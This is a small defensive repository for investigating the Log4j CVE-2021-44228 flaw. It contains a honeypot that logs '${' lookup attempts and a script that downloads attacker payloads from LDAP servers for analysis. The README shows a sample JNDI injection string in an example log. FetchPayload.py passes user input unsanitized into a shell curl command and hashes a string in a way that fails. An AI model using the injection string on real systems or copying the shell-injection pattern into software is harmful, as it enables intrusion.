├── README.md ├── SimpleHoneypot.py └── FetchPayload.py /README.md: -------------------------------------------------------------------------------- 1 | # Log4jTools 2 | Tools for investigating Log4j CVE-2021-44228 3 | 4 | ## Bug explanation and Demo 5 | https://www.youtube.com/watch?v=0-abhd-CLwQ 6 | 7 | ## FetchPayload.py (Get java payload from ldap path provided in JNDI lookup). 8 | Requirements: curl (system), requests (python) 9 | 10 | Example command: 11 | ``` 12 | python FetchPayload.py ldap://maliciouserver:1337/path 13 | 14 | [+] getting object from ldap://maliciouserver:1337/path 15 | [+] exploit payload: http://maliciouserver:80/Exploit.class 16 | [+] seeing if attacker left behind un-compile payload http://maliciouserver:80/Exploit.java 17 | [x] failed to find payload Exploit.java 18 | [+] trying to fetch compiled payload http://maliciouserver:80/Exploit.class 19 | [+] found payload and saved to file Exploit.class_ 20 | ``` 21 | 22 | ## SimpleHoneypot.py (honeypot to catch exploit attempts based on presence of '${' ). 23 | Requirements: python3, asyncore 24 | 25 | Example command: 26 | ``` 27 | python3 SimpleHoneypot.py 28 | 29 | [2021-12-09 13:00:00,000] Possible CVE-2021-44228 Attempt: 127.0.0.1:1111 -> port 8080 - GET /?id=${jdni:ldap://127.0.0.1:1389/hax} HTTP/1.1 30 | -------------------------------------------------------------------------------- /SimpleHoneypot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | 4 | import asyncore 5 | import logging 6 | import urllib.parse 7 | import socket 8 | 9 | 10 | class Log4jServer(asyncore.dispatcher): 11 | def __init__(self, address): 12 | self.server_port = address[1] 13 | asyncore.dispatcher.__init__(self) 14 | self.create_socket(socket.AF_INET, socket.SOCK_STREAM) 15 | self.set_reuse_addr() 16 | self.bind(address) 17 | self.address = self.socket.getsockname() 18 | self.listen(1024) 19 | return 20 | 21 | def handle_accept(self): 22 | sock, addr = self.accept() 23 | handler = Log4jHandler(sock, addr, self.server_port) 24 | 25 | def handle_close(self): 26 | self.close() 27 | return 28 | 29 | 30 | class Log4jHandler(asyncore.dispatcher_with_send): 31 | def __init__(self, sock, addr, server_port): 32 | self.server_port = server_port 33 | self.client = addr 34 | self.data = b'' 35 | self.out_buffer = b'' 36 | self.logger = logging.getLogger('Possible CVE-2021-44228 Attempt: %s:%s -> port %s' % 37 | (self.client[0], self.client[1], self.server_port)) 38 | asyncore.dispatcher.__init__(self, sock=sock) 39 | return 40 | 41 | def handle_read(self): 42 | self.data += self.recv(4096) 43 | self.send(b'HTTP/1.1 200 OK\r\nContent-Length: %d\r\nServer: %s\r\n\r\n%s' % 44 | (len(config['server_msg']), config['server_name'], config['server_msg'])) 45 | self.handle_close() 46 | self.data = self.data.replace(b'\r', b'') 47 | for line in self.data.split(b'\n'): 48 | line = urllib.parse.unquote(line.decode('utf-8', 'ignore')) 49 | if line.find('${') != -1: 50 | self.logger.info(line) 51 | 52 | def handle_close(self): 53 | self.close() 54 | 55 | 56 | if __name__ == '__main__': 57 | config = { 58 | 'server_name': b'BudgetMemes', 59 | 'server_msg': b'API Error', 60 | 'server_ports': [80, 8080, 1337] 61 | } 62 | 63 | logging.basicConfig(level=logging.INFO, format='[%(asctime)s] %(name)s - %(message)s', handlers=[ 64 | logging.FileHandler("cve-2021-44228.log"), 65 | logging.StreamHandler() 66 | ]) 67 | 68 | for port in config['server_ports']: 69 | server = Log4jServer(('0.0.0.0', port)) 70 | 71 | asyncore.loop() 72 | -------------------------------------------------------------------------------- /FetchPayload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import os 3 | import sys 4 | import requests 5 | import hashlib 6 | 7 | def save_file(file_name, file_data): 8 | with open(file_name, 'wb') as f: 9 | f.write(file_data) 10 | f.close() 11 | 12 | 13 | def parse_object_line(line, prefix): 14 | str_ptr = line.find(prefix) 15 | if str_ptr == -1: 16 | return None 17 | 18 | param_ptr = line[str_ptr:].find(' ') 19 | if param_ptr == -1: 20 | return None 21 | 22 | str_ptr += param_ptr 23 | 24 | param = str(line[str_ptr+1:]).replace(' ', '') 25 | if len(param) == 0: 26 | return None 27 | 28 | return param 29 | 30 | 31 | def get_remote_payload(base_url, payload_name): 32 | try: 33 | response = requests.get(base_url + payload_name) 34 | if response.status_code == 200 and len(response.content): 35 | hash_value = hashlib.sha256((base_url + payload_name)).hexdigest() 36 | file_name = payload_name + '_' + hash_value 37 | print ("Hashing string %s" % base_url + payload_name) 38 | save_file(file_name, response.content) 39 | print("[+] Found payload and saved to file %s" % file_name) 40 | return True 41 | 42 | except Exception as e: 43 | print("[x] Request to url %s failed, exception: %s" % (base_url+payload_name, e)) 44 | 45 | print("[x] Failed to find payload %s" % payload_name) 46 | return False 47 | 48 | 49 | if __name__ == '__main__': 50 | if len(sys.argv) <= 1: 51 | raise RuntimeError('Usage: ./FetchPayload.py ldap://server/path') 52 | 53 | print("[+] Getting object from %s" % sys.argv[1]) 54 | 55 | 56 | # probably need some error handling, will look into this later 57 | stream = os.popen("curl -s " + sys.argv[1]) 58 | data = stream.read() 59 | parts = data.split('\n') 60 | 61 | code_base = '' 62 | class_name = '' 63 | 64 | for part in parts: 65 | temp = parse_object_line(part, "javaCodeBase:") 66 | if temp: 67 | code_base = temp 68 | 69 | temp = parse_object_line(part, "javaFactory:") 70 | if temp: 71 | class_name = temp 72 | 73 | if not code_base: 74 | raise RuntimeError("Failed to find code base.") 75 | 76 | if not class_name: 77 | raise RuntimeError("Failed to find class name.") 78 | 79 | class_payload = class_name + '.class' 80 | java_payload = class_name + '.java' 81 | payload_found = False 82 | 83 | print("[+] Exploit payload: %s" % code_base + class_payload) 84 | 85 | print("[+] Checking if attacker left behind source payload %s" % code_base + java_payload) 86 | if get_remote_payload(code_base, java_payload): 87 | payload_found = True 88 | 89 | print("[+] Trying to fetch compiled payload %s" % code_base + class_payload) 90 | if get_remote_payload(code_base, class_payload): 91 | payload_found = True 92 | 93 | if not payload_found: 94 | print("[x] Couldn't find any payloads on the server") 95 | --------------------------------------------------------------------------------